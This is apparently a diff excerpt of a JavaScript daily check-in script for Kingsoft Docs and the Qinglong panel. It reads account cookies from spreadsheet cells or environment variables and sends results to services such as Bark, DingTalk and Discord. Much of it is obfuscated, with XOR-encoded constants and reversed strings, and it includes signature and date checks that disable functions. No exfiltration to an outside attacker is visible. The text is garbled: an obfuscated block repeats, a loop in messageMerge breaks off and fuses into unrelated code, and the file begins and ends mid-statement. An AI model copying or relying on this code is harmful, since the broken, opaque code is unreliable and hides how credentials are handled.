_0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function 